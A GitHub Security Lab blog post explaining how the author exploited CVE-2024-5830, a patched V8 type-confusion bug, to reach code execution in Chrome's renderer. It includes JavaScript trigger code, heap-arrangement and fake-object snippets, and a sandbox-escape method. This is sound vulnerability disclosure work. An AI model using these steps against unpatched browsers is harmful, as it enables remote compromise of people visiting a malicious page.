https://github.blog/security/vulnerability-research/from-object-transition-to-rce-in-the-chrome-renderer/ Skip to content Skip to sidebar / Blog * Changelog * Docs * Customer stories [ ] Try GitHub Copilot Contact sales * AI & ML + AI & ML Learn about artificial intelligence and machine learning across the GitHub ecosystem and the wider industry. o Generative AI Learn how to build with generative AI. o GitHub Copilot Change how you work with GitHub Copilot. o LLMs Everything developers need to know about LLMs. o Machine learning Machine learning tips, tricks, and best practices. + [AI-DarkMode-4] How AI code generation works Explore the capabilities and benefits of AI code generation and how it can improve your developer experience. Learn more * Developer skills + Developer skills Resources for developers to grow in their skills and careers. o Application development Insights and best practices for building apps. o Career growth Tips & tricks to grow as a professional developer. o GitHub Improve how you use GitHub at work. o GitHub Education Learn how to move into your first professional role. o Programming languages & frameworks Stay current on what's new (or new again). + [Enterprise-DarkMode-3] Get started with GitHub documentation Learn how to start building, shipping, and maintaining software with GitHub. Learn more * Engineering + Engineering Get an inside look at how we're building the home for all developers. o Architecture & optimization Discover how we deliver a performant and highly available experience across the GitHub platform. o Engineering principles Explore best practices for building software at scale with a majority remote team. o Infrastructure Get a glimpse at the technology underlying the world's leading AI-powered developer platform. o Platform security Learn how we build security into everything we do across the developer lifecycle. o User experience Find out what goes into making GitHub the home for all developers. + [Screenshot-2024-07-23-at-8] How we use GitHub to be more productive, collaborative, and secure Our engineering and security teams do some incredible work. Let's take a look at how we use GitHub to be more productive, build collaboratively, and shift security left. Learn more * Enterprise software + Enterprise software Explore how to write, build, and deploy enterprise software at scale. o Automation Automating your way to faster and more secure ships. o CI/CD Guides on continuous integration and delivery. o Collaboration Tips, tools, and tricks to improve developer collaboration. o DevOps DevOps resources for enterprise engineering teams. o DevSecOps How to integrate security into the SDLC. o Governance & compliance Ensuring your builds stay clean. + [Screenshot-2024-07-23-at-8] How enterprise engineering teams can successfully adopt AI Learn how to bring AI to your engineering teams and maximize the value that you get from it. Learn more * News & insights + News & insights Keep up with what's new and notable from inside GitHub. o Company news An inside look at news and product updates from GitHub. o Product The latest on GitHub's platform, products, and tools. o Octoverse Insights into the state of open source on GitHub. o Policy The latest policy and regulatory changes in software. o Research Data-driven insights around the developer ecosystem. o The library Older news and updates from GitHub. + [Screenshot-2024-07-23-at-8] Unlocking the power of unstructured data with RAG Learn how to use retrieval-augmented generation (RAG) to capture more insights. Learn more * Open Source + Open Source Everything open source on GitHub. o Git The latest Git updates. o Maintainers Spotlighting open source maintainers. o Social impact How open source is driving positive change. o Gaming Explore open source games on GitHub. + [Screenshot-2024-07-23-at-8] An introduction to innersource Organizations worldwide are incorporating open source methodologies into the way they build and ship their own software. Learn more * Security + Security Stay up to date on everything security. o Application security Application security, explained. o Supply chain security Demystifying supply chain security. o Vulnerability research Updates from the GitHub Security Lab. o Web application security Helpful tips on securing web applications. + [Screenshot-2024-07-23-at-8] The enterprise guide to AI-powered DevSecOps Learn about core challenges in DevSecOps, and how you can start addressing them with AI and automation. Learn more [ ] Search Categories * AI & ML + BackAI & ML Learn about artificial intelligence and machine learning across the GitHub ecosystem and the wider industry. o Generative AI Learn how to build with generative AI. o GitHub Copilot Change how you work with GitHub Copilot. o LLMs Everything developers need to know about LLMs. o Machine learning Machine learning tips, tricks, and best practices. + How AI code generation works Explore the capabilities and benefits of AI code generation and how it can improve your developer experience. Learn more * Developer skills + BackDeveloper skills Resources for developers to grow in their skills and careers. o Application development Insights and best practices for building apps. o Career growth Tips & tricks to grow as a professional developer. o GitHub Improve how you use GitHub at work. o GitHub Education Learn how to move into your first professional role. o Programming languages & frameworks Stay current on what's new (or new again). + Get started with GitHub documentation Learn how to start building, shipping, and maintaining software with GitHub. Learn more * Engineering + BackEngineering Get an inside look at how we're building the home for all developers. o Architecture & optimization Discover how we deliver a performant and highly available experience across the GitHub platform. o Engineering principles Explore best practices for building software at scale with a majority remote team. o Infrastructure Get a glimpse at the technology underlying the world's leading AI-powered developer platform. o Platform security Learn how we build security into everything we do across the developer lifecycle. o User experience Find out what goes into making GitHub the home for all developers. + How we use GitHub to be more productive, collaborative, and secure Our engineering and security teams do some incredible work. Let's take a look at how we use GitHub to be more productive, build collaboratively, and shift security left. Learn more * Enterprise software + BackEnterprise software Explore how to write, build, and deploy enterprise software at scale. o Automation Automating your way to faster and more secure ships. o CI/CD Guides on continuous integration and delivery. o Collaboration Tips, tools, and tricks to improve developer collaboration. o DevOps DevOps resources for enterprise engineering teams. o DevSecOps How to integrate security into the SDLC. o Governance & compliance Ensuring your builds stay clean. + How enterprise engineering teams can successfully adopt AI Learn how to bring AI to your engineering teams and maximize the value that you get from it. Learn more * News & insights + BackNews & insights Keep up with what's new and notable from inside GitHub. o Company news An inside look at news and product updates from GitHub. o Product The latest on GitHub's platform, products, and tools. o Octoverse Insights into the state of open source on GitHub. o Policy The latest policy and regulatory changes in software. o Research Data-driven insights around the developer ecosystem. o The library Older news and updates from GitHub. + Unlocking the power of unstructured data with RAG Learn how to use retrieval-augmented generation (RAG) to capture more insights. Learn more * Open Source + BackOpen Source Everything open source on GitHub. o Git The latest Git updates. o Maintainers Spotlighting open source maintainers. o Social impact How open source is driving positive change. o Gaming Explore open source games on GitHub. + An introduction to innersource Organizations worldwide are incorporating open source methodologies into the way they build and ship their own software. Learn more * Security + BackSecurity Stay up to date on everything security. o Application security Application security, explained. o Supply chain security Demystifying supply chain security. o Vulnerability research Updates from the GitHub Security Lab. o Web application security Helpful tips on securing web applications. + The enterprise guide to AI-powered DevSecOps Learn about core challenges in DevSecOps, and how you can start addressing them with AI and automation. Learn more * Changelog * Docs * Customer stories Contact sales Try GitHub Copilot Home / Security / Vulnerability research From object transition to RCE in the Chrome renderer In this post, I'll exploit CVE-2024-5830, a type confusion in Chrome that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site. [Security-DarkMode-3-1] Man Yue Mo August 13, 2024 | 13 minutes * Share: * * * In this post, I'll exploit CVE-2024-5830, a type confusion bug in v8, the Javascript engine of Chrome that I reported in May 2024 as bug 342456991. The bug was fixed in version 126.0.6478.56/57. This bug allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site. Object map and map transitions in V8 This section contains some background materials in object maps and transitions that are needed to understand the vulnerability. Readers who are familiar with this can skip to the next section. The concept of a map (or hidden class) is fairly fundamental to Javascript interpreters. It represents the memory layout of an object and is crucial in the optimization of property access. There are already many good articles that go into much more detail on this topic. I particularly recommend "JavaScript engine fundamentals: Shapes and Inline Caches" by Mathias Bynens. A map holds an array of property descriptors (DescriptorArrays) that contains information about each property. It also holds details about the elements of the object and its type. Maps are shared between objects with the same property layout. For example, the following objects both have a single property a of type SMI (31 bit integers), so they can share the same map. o1 = {a : 1}; o2 = {a : 10000}; //<------ same map as o1, MapA Maps also account property types in an object. For example, the following object, o3 has a map different from o1 and o2, because its property a is of type double (HeapNumber), rather than SMI: o3 = {a : 1.1}; When a new property is added to an object, if a map does not already exist for the new object layout, a new map will be created. o1.b = 1; //<------ new map with SMI properties a and b When this happens, the old and the new map are related by a transition: %DebugPrint(o2); DebugPrint: 0x3a5d00049001: [JS_OBJECT_TYPE] - map: 0x3a5d00298911 [FastProperties] ... - All own properties (excluding elements): { 0x3a5d00002b19: [String] in ReadOnlySpace: #a: 10000 (const data field 0), location: in-object } 0x3a5d00298911: [Map] in OldSpace - map: 0x3a5d002816d9 ... - instance descriptors #1: 0x3a5d00049011 - transitions #1: 0x3a5d00298999 0x3a5d00002b29: [String] in ReadOnlySpace: #b: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x3a5d00298999 ... Note that the map of o2 contains a transition to another map (0x3a5d00298999), which is the newly created map for o3: %DebugPrint(o3); DebugPrint: 0x3a5d00048fd5: [JS_OBJECT_TYPE] - map: 0x3a5d00298999 [FastProperties] ... - All own properties (excluding elements): { 0x3a5d00002b19: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object 0x3a5d00002b29: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: properties[0] } 0x3a5d00298999: [Map] in OldSpace - map: 0x3a5d002816d9 ... - back pointer: 0x3a5d00298911 ... Conversely, the map of o2 (0x3a5d00298911) is stored in this new map as the back pointer. A map can store multiple transitions in a TransitionArray. For example, if another property c is added to o2, then the TransitionArray will contain two transitions, one to property b and another to property c: o4 = {a : 1}; o2.c = 1; %DebugPrint(o4); DebugPrint: 0x2dd400049055: [JS_OBJECT_TYPE] - map: 0x2dd400298941 [FastProperties] - All own properties (excluding elements): { 0x2dd400002b19: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object } 0x2dd400298941: [Map] in OldSpace - map: 0x2dd4002816d9 ... - transitions #2: 0x2dd400298a35 Transition array #2: 0x2dd400002b39: [String] in ReadOnlySpace: #c: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x2dd400298a0d 0x2dd400002b29: [String] in ReadOnlySpace: #b: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x2dd4002989c9 ... When a field of type SMI in an object is assigned a double (HeapNumber) value, because the SMI type cannot hold a double value, the map of the object needs to change to reflect this: o1 = {a : 1}; o2 = {a : 1}; o1 = {a : 1.1}; %DebugPrint(o1); DebugPrint: 0x1b4e00049015: [JS_OBJECT_TYPE] - map: 0x1b4e002989a1 [FastProperties] ... - All own properties (excluding elements): { 0x1b4e00002b19: [String] in ReadOnlySpace: #a: 0x1b4e00049041 (const data field 0), location: in-object } ... %DebugPrint(o2); DebugPrint: 0x1b4e00049005: [JS_OBJECT_TYPE] - map: 0x1b4e00298935 [FastProperties] ... - All own properties (excluding elements): { 0x1b4e00002b19: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object } 0x1b4e00298935: [Map] in OldSpace ... - deprecated_map ... Note that, not only do o1 and o2 have different maps, but the map of o2 is also marked as deprecated. This means that when a new object of the same property layout is created, it'll use the map of o1 (0x1b4e002989a1) instead of that of o2 (0x1b4e00298935) because a more general map, the map of o1, whose field can represent both HeapNumber and SMI, is now available. Moreover, the map of o2 will also be updated to the map of o1 when its properties are accessed. This is done via the UpdateImpl function: Handle MapUpdater::UpdateImpl() { ... if (FindRootMap() == kEnd) return result_map_; if (FindTargetMap() == kEnd) return result_map_; if (ConstructNewMap() == kAtIntegrityLevelSource) { ConstructNewMapWithIntegrityLevelTransition(); } ... return result_map_; } Essentially, the function uses the back pointer of a map to retrace the transitions until it reaches the first map that does not have a backpointer (the RootMap). It then goes through the transitions from the RootMap to check if there already exists a suitable map in the transitions that can be used for the object (FindTargetMap). If a suitable map is found, then ConstructNewMap will create a new map which is then used by the object. For example, in the following case, a map with three properties becomes deprecated when the second property is assigned a HeapNumber value: obj = {a : 1}; obj.b = 1; obj.c = 1; //<---- Map now has 3 SMI properties obj.b = 1.1 //<----- original map becomes deprecated and a new map is created In this case, two new maps are created. First a map with properties a and b of types SMI and HeapNumber respectively, then another map with three properties, a : SMI, b : HeapNumber and c : SMI to accommodate the new property layout: Diagram showing the two new maps that have been created. In the above image, the red maps become deprecated and the green maps are newly created maps. After the property assignment, obj will be using the newly created map that has properties a, b and c and the transitions to the deprecated red maps are removed and replaced by the new green transitions. In v8, object properties can be stored in an array or in a dictionary. Objects with properties stored in an array are referred to as fast objects, while objects with properties in dictionaries are dictionary objects. Map transitions and deprecations are specific to fast objects and normally, when a map deprecation happens, another fast map is created by UpdateImpl. This, however, is not necessarily the case. Let's take a look at a slightly different example: obj = {a : 1}; obj.b = 1; //<---- MapB obj.c = 1; //<---- MapC obj2 = {a : 1}; obj2.b = 1; //<----- MapB obj2.b = 1.1; //<---- map of obj becomes deprecated Assigning a HeapNumber to obj2.b causes both the original map of obj2 (MapB), as well as the map of obj (MapC) to become deprecated. This is because the map of obj (MapC) is now a transition of a deprecated map (MapB), which causes it to become deprecated as well: Diagram showing the deprecation of previous maps. As obj now has a deprecated map, its map will be updated when any of its property is accessed: x = obj.a; //<---- calls UpdateImpl to update the map of obj In this case, a new map has to be created and a new transition is added to the map of obj2. However, there is a limited number of transitions that a map can hold. Prior to adding a new transition, a check is carried out to ensure that the map can hold another transition: MapUpdater::State MapUpdater::ConstructNewMap() { ... if (maybe_transition.is_null() && !TransitionsAccessor::CanHaveMoreTransitions(isolate_, split_map)) { return Normalize("Normalize_CantHaveMoreTransitions"); } ... If no more transitions can be added, then a new dictionary map will be created via Normalize. obj = {a : 1}; obj.b = 1; obj.c = 1; obj2 = {a : 1}; obj2.b = 1.1; //<---- map of obj becomes deprecated //Add transitions to the map of obj2 for (let i = 0; i < 1024 + 512; i++) { let tmp = {a : 1}; tmp.b = 1.1; tmp['c' + i] = 1; } obj.a = 1; //<----- calls UpdateImpl to update map of obj As the map of obj2 cannot hold anymore transitions, a new dictionary map is created for obj after its property is accessed. This behavior is somewhat unexpected, so Update is often followed by a debug assertion to ensure that the updated map is not a dictionary map (DCHECK is only active in a debug build): Handle Map::PrepareForDataProperty(Isolate* isolate, Handle map, InternalIndex descriptor, PropertyConstness constness, Handle value) { // Update to the newest map before storing the property. map = Update(isolate, map); // Dictionaries can store any property value. DCHECK(!map->is_dictionary_map()); return UpdateDescriptorForValue(isolate, map, descriptor, constness, value); } The vulnerability While most uses of the function PrepareForDataProperty cannot result in a dictionary map after Update is called, PrepareForDataProperty can be called by CreateDataProperty via TryFastAddDataProperty, which may result in a dictionary map after updating. There are different paths that use CreateDataProperty, but one particularly interesting path is in object cloning. When an object is copied using the spread syntax, a shallow copy of the original object is created: var obj1 = {a : 1}; const clonedObj = { ...obj1 }; In this case, CreateDataProperty is used for creating new properties in clonedObj and to update its map when appropriate. However, if the object being cloned, obj1 contains a property accessor, then it'll be called while the object is being cloned. For example, in the following case: var x = {}; x.a0 = 1; x.__defineGetter__("prop", function() { return 1; }); var y = {...x}; In this case, when x is cloned into y, the property accessor prop in x is called after the property a0 is copied to y. At this point, the map of y contains only the SMI property a0 and it is possible for the accessor to cause the map of y to become deprecated. var x = {}; x.a0 = 1; x.__defineGetter__("prop", function() { let obj = {}; obj.a0 = 1; //<--- obj has same map as y at this point obj.a0 = 1.5; //<--- map of y becomes deprecated return 1; }); var y = {...x}; When CreateDataProperty is called to copy the property prop, Update in PrepareForDataProperty is called to update the deprecated map of y. As explained before, by adding transitions to the map of obj in the property accessor, it is possible to cause the map update to return a dictionary map for y. Since the subsequent use of the updated map in PrepareForDataProperty assumes the updated map to be a fast map, rather than a dictionary map, this can corrupt the object y in various ways. Gaining arbitrary read and write in the v8 heap To begin with, let's take a look at how the updated map is used in PrepareForDataProperty: Handle Map::PrepareForDataProperty(Isolate* isolate, Handle map, InternalIndex descriptor, PropertyConstness constness, Handle value) { map = Update(isolate, map); ... return UpdateDescriptorForValue(isolate, map, descriptor, constness, value); } The updated map is first used by UpdateDescriptorForValue. Handle UpdateDescriptorForValue(Isolate* isolate, Handle map, InternalIndex descriptor, PropertyConstness constness, Handle value) { if (CanHoldValue(map->instance_descriptors(isolate), descriptor, constness, *value)) { return map; } ... return mu.ReconfigureToDataField(descriptor, attributes, constness, representation, type); } Within UpdateDescriptorForValue the instance_descriptors of map are accessed. The instance_descriptors contain information about properties in the map but it is only relevant for fast maps. For a dictionary map, it is always an empty array with zero length. Accessing instance_descriptors of a dictionary map would therefore result in out-of-bounds (OOB) access to the empty array. In particular, the call to ReconfigureToDataField can modify entries in the instance_descriptors. While this may look like a promising OOB write primitive, the problem is that zero length descriptor arrays in v8 point to the empty_descriptor_array that is stored in a read-only region: V(DescriptorArray, empty_descriptor_array, EmptyDescriptorArray) Any OOB write to the empty_descriptor_array is only going to write to the read-only memory region and cause a crash. To avoid this, I need to cause CanHoldValue to return true so that ReconfigureToDataField is not called. In the call to CanHoldValue, an OOB entry to the empty_descriptor_array is read and then certain conditions are checked: bool CanHoldValue(Tagged descriptors, InternalIndex descriptor, PropertyConstness constness, Tagged value) { PropertyDetails details = descriptors->GetDetails(descriptor); if (details.location() == PropertyLocation::kField) { if (details.kind() == PropertyKind::kData) { return IsGeneralizableTo(constness, details.constness()) && Object::FitsRepresentation(value, details.representation()) && FieldType::NowContains(descriptors->GetFieldType(descriptor), value); ... Although empty_descriptor_array is stored in a read-only region and I cannot control the memory content that is behind it, the read index, descriptor, is the array index that corresponds to the property prop, which I can control. By changing the number of properties that precede prop in x, I can control the OOB read offset to the empty_descriptor_array. This allows me to choose an appropriate offset so that the conditions in CanHoldValue are satisfied. While this avoids an immediate crash, it is not exactly useful as far as exploits go. So, let's take a look at what comes next after a dictionary map is returned from PrepareForDataProperty. bool CanHoldValue(Tagged descriptors, InternalIndex descriptor, PropertyConstness constness, Tagged value) { PropertyDetails details = descriptors->GetDetails(descriptor); if (details.location() == PropertyLocation::kField) { if (details.kind() == PropertyKind::kData) { return IsGeneralizableTo(constness, details.constness()) && Object::FitsRepresentation(value, details.representation()) && FieldType::NowContains(descriptors->GetFieldType(descriptor), value); ... After the new_map returned, its instance_descriptors, which is the empty_descriptor_array, is read again at offset descriptor, and the result is used to provide another offset in a property write: void JSObject::WriteToField(InternalIndex descriptor, PropertyDetails details, Tagged value) { ... FieldIndex index = FieldIndex::ForDetails(map(), details); if (details.representation().IsDouble()) { ... } else { FastPropertyAtPut(index, value); } } In the above, index is encoded in the PropertyDetails and is used in FastPropertyAtPut to write a property in the resulting object. However, FastPropertyAtPut assumes that the object has fast properties stored in a PropertyArray while our object is in fact a dictionary object with properties stored in a NameDictionary. This causes confusion between PropertyArray and NameDictionary, and because NameDictionary contains a few more internal fields than PropertyArray, writing to a NameDictionary using an offset that is meant for a PropertyArray can end up overwriting some internal fields in the NameDictionary. A common way to exploit a confusion between fast and dictionary objects is to overwrite the capacity field in the NameDictionary, which is used for checking the bounds when the NameDictionary is accessed (similar to the method that I used to exploit another v8 bug in this post). However, as I cannot fully control the PropertyDetails that comes from the OOB read of the empty_descriptor_array, I wasn't able to overwrite the capacity field of the NameDictionary. Instead, I managed to overwrite another internal field, elements of the NameDictionary. Although the elements field is not normally used for property access, it is used in MigrateSlowToFast as a bound for accessing dictionary properties: void JSObject::MigrateSlowToFast(Handle object, int unused_property_fields, const char* reason) { ... Handle iteration_order; int iteration_length; if constexpr (V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL) { ... } else { ... iteration_length = dictionary->NumberOfElements(); //<---- elements field } ... for (int i = 0; i get(i))); k = dictionary->NameAt(index); value = dictionary->ValueAt(index); //DetailsAt(index); } ... } ... } In MigrateSlowToFast, dictionary->NumberOfElements() is used as a bound of the property offsets in a loop that accesses the property NameDictionary. So by overwriting elements to a large value, I can cause OOB read when the property values are read in the loop. These property values are then copied to a newly created fast object. By arranging the heap carefully, I can control the value that is read and have it point to a fake object in the v8 heap. Diagram displaying how to control the value that is read and have it point to a fake object in the v8 heap. In the above, the green box is the actual bounds of the NameDictionary, however, with a corrupted elements field, an OOB access can happen during MigrateSlowToFast, causing it to access the value in the red box, and use it as the value of the property. By arranging the heap, I can place arbitrary values in the red box, and in particular, I can make it point to a fake object that I created. Heap arrangement in v8 is fairly straightforward as objects are allocated linearly in the v8 heap. To place control values after the NameDictionary, I can allocate arrays after the object is cloned and then write control values to the array entries. var y = {...x}; //<---- NameDictionary allocated //Placing control values after the NameDictionary var arr = new Array(256); for (let i = 0; i < 7; i++) { arr[i] = new Array(256); for (let j = 0; j < arr[i].length; j++) { arr[i][j] = nameAddrF; } } To make sure that the value I placed after the NameDictionary points to a fake object, I need to know the address of the fake object. As I pointed out in a talk that I gave at the POC2022 conference, object addresses in v8 can be predicted reliably by simply knowing the version of Chrome. This allows me to work out the address of the fake object to use: var dblArray = [1.1,2.2]; var dblArrayAddr = 0x4881d; //<---- address of dblArray is consistent across runs var dblArrayEle = dblArrayAddr - 0x18; //Creating a fake double array as an element with length 0x100 dblArray[0] = i32tof(dblArrMap, 0x725); dblArray[1] = i32tof(dblArrayEle, 0x100); By using the known addresses of objects and their maps, I can create both the fake object and also obtain its address. Once the heap is prepared, I can trigger MigrateSlowToFast to access the fake object. This can be done by first making the cloned object, y, a prototype of another object, z. Accessing any property of z will then trigger MakePrototypesFast, which calls MigrateSlowToFast for the object y: var z = {}; z.__proto__ = y; z.p; //<------ Calls MigrateSlowToFast for y This then turns y into a fast object, with the fake object that I prepared earlier accessible as a property of y. A useful fake object is a fake double array with a large length, which can then be used to cause an OOB access to its elements. Once an OOB access to the fake double array is achieved, gaining arbitrary read and write in the v8 heap is rather straightforward. It essentially consists of the following steps: 1. First, place an Object Array after the fake double array, and use the OOB read primitive in the fake double array to read the addresses of the objects stored in this array. This allows me to obtain the address of any V8 object. 2. Place another double array, writeArr after the fake double array, and use the OOB write primitive in the fake double array to overwrite the element field of writeArr to an object address. Accessing the elements of writeArr then allows me to read/write to arbitrary addresses. Thinking outside of the heap sandbox The recently introduced v8 heap sandbox isolates the v8 heap from other process memory, such as executable code, and prevents memory corruptions within the v8 heap from accessing memory outside of the heap. To gain code execution, a way to escape the heap sandbox is needed. In Chrome, Web API objects, such as the DOM object, are implemented in Blink. Objects in Blink are allocated outside of the v8 heap and are represented as api objects in v8: var domRect = new DOMRect(1.1,2.3,3.3,4.4); %DebugPrint(domRect); DebugPrint: 0x7610003484c9: [[api object] 0] ... - embedder fields: 2 - properties: 0x7610000006f5 - All own properties (excluding elements): {} - embedder fields = { 0, aligned pointer: 0x7718f770b880 0, aligned pointer: 0x325d00107ca8 } 0x7610003b6985: [Map] in OldSpace - map: 0x76100022f835 - type: [api object] 0 ... These objects are essentially wrappers to objects in Blink, and they contain two embedder fields that store the locations of the actual Blink object, as well as their actual type. Although embedder fields show up as pointer values in the DebugPrint, because of the heap sandbox, they are not actually stored as pointers in the v8 object, but as indices to a lookup table that is protected from being modified within the v8 heap. bool EmbedderDataSlot::ToAlignedPointer(Isolate* isolate, void** out_pointer) const { ... #ifdef V8_ENABLE_SANDBOX // The raw part must always contain a valid external pointer table index. *out_pointer = reinterpret_cast( ReadExternalPointerField( address() + kExternalPointerOffset, isolate)); return true; ... } The external look up table ensures that an embedder field must be a valid index in the table, and also any pointer returned from reading the embedder field must point to a valid Blink object. However, with arbitrary read and write in the v8 heap, I can still replace the embedder field of one api object by the embedder field of another api object that has a different type in Blink. This can then be used to cause type confusion in the Blink object. In particular, I can cause a type confusion between a DOMRect and a DOMTypedArray. A DOMRect is a simple data structure, with four properties x, y, width, height specifying its dimensions. Accessing these properties simply involves writing to and reading from the corresponding offsets in the DOMRect Blink object. By causing a type confusion between a DOMRect and another other Blink object, I can read and write the values of any Blink object from these offsets. In particular, by confusing a DOMRect with a DOMTypedArray, I can overwrite its backing_store_ pointer, which points to the data storage of the DOMTypedArray. Changing the backing_store_ to an arbitrary pointer value and then accessing entries in the DOMTypedArray then gives me arbitrary read and write access to the entire memory space. To defeat ASLR and identify useful addresses in the process memory, note that each api object also contains an embedder field that stores a pointer to the wrapper_type_info of the Blink object. Since these wrapper_type_info are global static objects, by confusing this embedder field with a DOMRect object, I can read the pointer to the wrapper_type_info as a property in a DOMRect. In particular, I can now read the address of the TrustedCage::base_, which is the offset to a memory region that contains important objects such as JIT code addresses etc. I can now simply compile a JIT function, and modify the address of its JIT code to achieve arbitrary code execution. The exploit can be found here with some setup notes. Conclusion In this post, I've looked at CVE-2024-5830, a confusion between fast and dictionary objects caused by updating of a deprecated map. Map transition and deprecation often introduces complex and subtle problems and has also led to issues that were exploited in the wild. In this case, updating a deprecated map causes it to become a dictionary map unexpectedly, and in particular, the resulting dictionary map is used by code that assumes the input to be a fast map. This allows me to overwrite an internal property of the dictionary map and eventually cause an OOB access to the dictionary. I can then use this OOB access to create a fake object, leading to arbitrary read and write of the v8 heap. To bypass the v8 heap sandbox, I modify API objects that are wrappers of Blink objects in v8, causing type confusions in objects outside of the heap sandbox. I then leverage this to achieve arbitrary memory read and write outside of the v8 heap sandbox, and in turn arbitrary code execution in the Chrome renderer process. --------------------------------------------------------------------- Tags: * Chrome * exploit development * GitHub Security Lab * vulnerability research Written by Man Yue Mo Man Yue Mo @m-y-mo * Chrome * exploit development * GitHub Security Lab * vulnerability research Table of Contents * Object map and map transitions in V8 * The vulnerability * Gaining arbitrary read and write in the v8 heap * Thinking outside of the heap sandbox * Conclusion More on Chrome Getting RCE in Chrome with incomplete object initialization in the Maglev compiler In this post, I'll exploit CVE-2023-4069, a type confusion in Chrome that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site. Man Yue Mo Getting RCE in Chrome with incorrect side effect in the JIT compiler In this post, I'll exploit CVE-2023-3420, a type confusion in Chrome that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site. Man Yue Mo Related posts [Security-LightMode-4] Security Configure GitHub Artifact Attestations for secure cloud-native delivery Introducing the generally available capability of GitHub Artifact Attestations to secure your cloud-native supply chain packages and images. April Yoho [Security-DarkMode-1-2] Security 3 ways to get Remote Code Execution in Kafka UI In this blog post, we'll explain how we discovered three critical vulnerabilities in Kafka UI and how they can be exploited. Michael Stepankin [Security-DarkMode-1-2] Security Attack of the clones: Getting RCE in Chrome's renderer with duplicate object properties In this post, I'll exploit CVE-2024-3833, an object corruption bug in v8, the Javascript engine of Chrome, that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site. Man Yue Mo Explore more from GitHub Docs Docs Everything you need to master GitHub, all in one place. Go to Docs GitHub GitHub Build what's next on GitHub, the place for anyone from anywhere to build anything. Start building Customer stories Customer stories Meet the companies and engineering teams that build with GitHub. Learn more GitHub Universe 2024 GitHub Universe 2024 Get tickets to the 10th anniversary of our global developer event on AI, DevEx, and security. Get tickets Subscribe to our newsletter Code with confidence. Discover tips, technical guides, and best practices in our biweekly newsletter just for devs. Your email address [ ] Subscribe [ ] Yes please, I'd like GitHub and affiliates to use my information for personalized communications, targeted advertising and campaign effectiveness. See the GitHub Privacy Statement for more details. Subscribe Product * Features * Security * Enterprise * Customer Stories * Pricing * Resources Platform * Developer API * Partners * Atom * Electron * GitHub Desktop Support * Docs * Community Forum * Training * Status * Contact Company * About * Blog * Careers * Press * Shop * GitHub on X * GitHub on Facebook * GitHub on YouTube * GitHub on Twitch * GitHub on TikTok * GitHub on LinkedIn * GitHub's organization on GitHub * (c) 2024 GitHub, Inc. * Terms * Privacy * Manage Cookies * Do not share my personal information